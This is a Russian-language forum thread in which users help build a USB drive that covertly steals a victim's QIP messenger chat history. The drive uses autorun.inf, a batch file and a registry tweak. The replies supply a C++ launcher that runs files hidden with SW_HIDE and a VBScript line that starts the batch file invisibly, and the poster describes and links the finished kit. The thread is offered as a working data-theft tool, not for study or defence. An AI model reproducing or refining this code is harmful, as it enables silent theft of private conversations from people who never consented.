Поставил себе задачу, сделать флешку предназначенную для стыривания инфы, для конкретики решил копировать хистори квипа. Получилось следующее: autorun.inf 1.bat И забацал файлик чтобы двумя кликами менять свойства ауторана в Винде. autorun.reg Но вот проблема возникла, хочется окно процессом копирования скрыть. Реально ли такое штатными средствами Винды или все-таки кодить надо?
Вот держи, набросал в с++ тынц Синтаксис: Code: execute.exe "путь до файла\file" Пример: Code: execute.exe d:/autorun/1.bat Исходник: Code: #include "stdafx.h" #include "shellapi.h" int APIENTRY _tWinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPWSTR lpCmdLine,int nShowCmd) { if(*lpCmdLine) ShellExecute(NULL,L"open",lpCmdLine,NULL,NULL,SW_HIDE); else { MessageBox(NULL,L"Неверно заданы параметры.\nСинтаксис: execute.exe filename.",L"Ошибка",MB_ICONASTERISK); return 1; } return 0; } Программа запускает файл с флагом HIDE, тоесть запущенный файл нигде кроме как в процессах не увидешь.
Вот есть такая программка которая bat в exe конвертирует и черное окошко скрывает. Скачать можно тут /showthread.php?t=75136
Реально... Юзай VBScript... Вообще можешь сделать всё своим же батником, но запустив его безпалевно через .vbs Code: Set WshShell = CreateObject("WScript.Shell") WshShell.Run "cmd.exe /c 1.bat", 0, false
всем спасибо ) решил через vbs сделать. в итоге имеем autorun.inf 1.vbs 1.bat reg_enable.reg и наличие папки desktop в корне флехи с правами на изменение. из всех действий требуется только запустить авторан, два раз кликнув по значку флехи в папке "мой компьютер", все средства штатные ) Снимается убиванием процесса cmd.exe в диспетчере задач. Если ситуация специфичная, то достаточно запустить 1.vbs (ну или как вам его понравится назвать, это уже из раздела лирики))) или можно установить разрешение на запуск авторана запустив файл reg_enable.reg качать тут Вроде все )) если будут у кого-то еще идеи по совершенствования буду рад. пойду поприкалываюсь ) всем респект и благодарности